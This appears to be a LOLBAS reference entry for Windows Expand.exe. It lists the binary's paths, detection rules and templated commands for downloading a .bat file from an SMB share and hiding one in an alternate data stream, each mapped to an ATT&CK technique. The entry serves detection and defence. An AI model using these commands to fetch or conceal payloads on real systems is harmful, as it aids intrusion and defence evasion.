.. /Expand.exe

Star

Paths:

• C:\Windows\System32\Expand.exe
• C:\Windows\SysWOW64\Expand.exe

Resources:

• https://twitter.com/infosecn1nja/status/986628482858807297
• https://twitter.com/Oddvarmoe/status/986709068759949319

Acknowledgements:

• Rahmat Nurfauzi (@infosecn1nja)
• Oddvar Moe (@oddvarmoe)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml
• Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml

Download

1. Copies source file to destination.

   expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}

   Use case

   Use to copies the source file to the destination file

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105

Copy

1. Copies source file to destination.

   expand {PATH_ABSOLUTE:.source.ext} {PATH_ABSOLUTE:.dest.ext}

   Use case

   Copies files from A to B

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1105

Alternate data streams

1. Copies source file to destination Alternate Data Stream (ADS)

   expand {PATH_SMB:.bat} {PATH_ABSOLUTE}:file.bat

   Use case

   Copies files from A to B

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004